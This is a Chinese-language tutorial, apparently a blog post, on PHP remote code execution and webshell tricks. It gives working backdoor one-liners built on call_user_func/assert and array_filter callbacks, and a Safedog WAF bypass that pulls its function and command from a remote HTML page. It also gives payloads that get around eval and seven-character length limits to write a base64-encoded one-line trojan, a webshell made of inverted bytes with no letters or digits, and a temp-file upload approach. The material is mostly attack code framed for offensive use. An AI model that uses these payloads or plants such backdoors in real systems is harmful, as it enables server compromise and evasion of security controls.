目录
一、简介
二、php的命令执行函数
2.1 exec
2.2 passthru
2.3 shell_exec
2.4 popen
三、代码执行
3.1 php的回调后门
3.1.1 回调后门的老祖宗
3.1.2 数组造成单参数回调后门
3.1.3 绕过安全狗
编辑 四、来看看php中webshell奇淫技巧
4.1eval长度限制突破方法
4.1.1 开胃菜
4.1.2 拼接
4.1.3 变长参数
一、简介
所谓rce简单来说就是可以执行系统命令的函数,举个例子
<?php
system('whoami');
二、php的命令执行函数
PHP: exec - Manual
2.1 exec
<?php
// 输出运行中的 php/httpd 进程的创建者用户名
// (在可以执行 "whoami" 命令的系统上)
$output=null;
$retval=null;
exec('whoami', $output, $retval);
echo "Returned with status $retval and output:\n";
print_r($output);
?>
2.2 passthru
<?php
passthru("whoami");
?>
2.3 shell_exec
<?php
$output = shell_exec('whoami');
echo "<pre>$output</pre>";
?>
2.4 popen
pass:linux有0,1,2三个选项(标准输入,标准输出,错误输出)
<?php
error_reporting(E_ALL);
/* 加入重定向以得到标准错误输出 stderr。 */
$handle = popen('whoami', 'r');
echo "'$handle'; " . gettype($handle) . "\n";
$read = fread($handle, 2096);
echo $read;
pclose($handle);
?>
三、代码执行
3.1 php的回调后门
3.1.1 回调后门的老祖宗
php中call_user_func是执行回调函数的标准方法,这也是一个比较老的后门了:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为回调函数,然后$_REQUEST['pass']
作为assert的参数调用。
call_user_func_array('assert', array($_REQUEST['pass']));
3.1.2 数组造成单参数回调后门
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
调用
3.1.3 绕过安全狗
demo.php:
<?php
get_meta_tags("http://192.168.46.129/demo.html")["author"](get_meta_tags("http://192.168.46.129/demo.html")["keywords"]);
demo.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keywords" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
</html>
自然绕过了安全狗的拦截
正常的回调后门会触发安全狗的机制
四、来看看php中webshell奇淫技巧
4.1eval长度限制突破方法
4.1.1 开胃菜
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
长度限制为17为
那是不是直接执行就可以呢?我的phpinfo()也才十位,但是我们是不是只能执行phpinfo()了,怎么突破
代码执行转命令执行
param=echo `$_GET[1]`;&1=id
4.1.2 拼接
file_put_contents¶m=$_GET[1](N,P,8);
拼接一个webshell文件(以Base64形式)在linux中 、
/* 'PD9waHAgZXZhbCgkX1BPU1RbOV0pOw' ✲写入文件'N'中 */
4.1.3 变长参数
PHP5.6+变长参数 ⇒ usort回调后门 ⇒ 任意代码执行
php可变长参数三个点
1[]=test&1[]=phpinfo();&2=assert
抓个包看看
4.2 突破七位长度
Linux命令长度限制在7个字符的情况下,如何拿到shell
<?php
$param = $_REQUEST['param']; If ( strlen($param) < 8 ) { echo shell_exec($param);
}
因为我们的param是可以接参数的
我们在命令行请求后一点一点用文件打进去最后用shell执行即可
>hp
w>c.p\\
w>d\>\\
执行命令
ls -t>0
sh 0
最后拼接为
ech\ o \ PD9\ waH\ AgZ\ XZh\ bCg\ kX0\ dFV\ Fsx\ XSk\ 7|\ bas\ e64\ -\ d>\ c.p\ hp
执行shell就完美拼接为我们的一句话木马了
4.3 无字母数字webshell执行
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
首先我们看代码有限制长度到35,但是它严重的是限制了字母甚至$和_也限制了
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
很明显它是允许的
我们可以写这样的一串代码去进行绕过
(~%8F%97%8F%96%91%99%90)();
而我们去研究研究这串代码首先~是取反的意思
4.3.1 那如果是5.6的版本呢
那我们的临时文件就起到作用了
举个例子吧
随便写个上传表单
开始转圈
很明显tmp多了一个临时文件如下
我们现在需要做的是写一个文件在临时文件没删除的时候,给它执行起来,如果能顺利执行,那我们创建一句话木马就很简单
那上传之后怎么跳转目录匹配到成了我们现在的一个问题,还有一个权限问题,这是我们目前需要解决的两个问题
权限问题,linux有个特性. 文件可以直接执行
匹配:因为php是get和post同时执行的,linux生成临时文件有一个特征最后一位一次是小写一次是大写,我们直接匹配大写就可以做到精准匹配
那这个时候ascli表就起作用了,加之通配符
Linux shell 通配符 / glob 模式 - divent - 博客园 (cnblogs.com)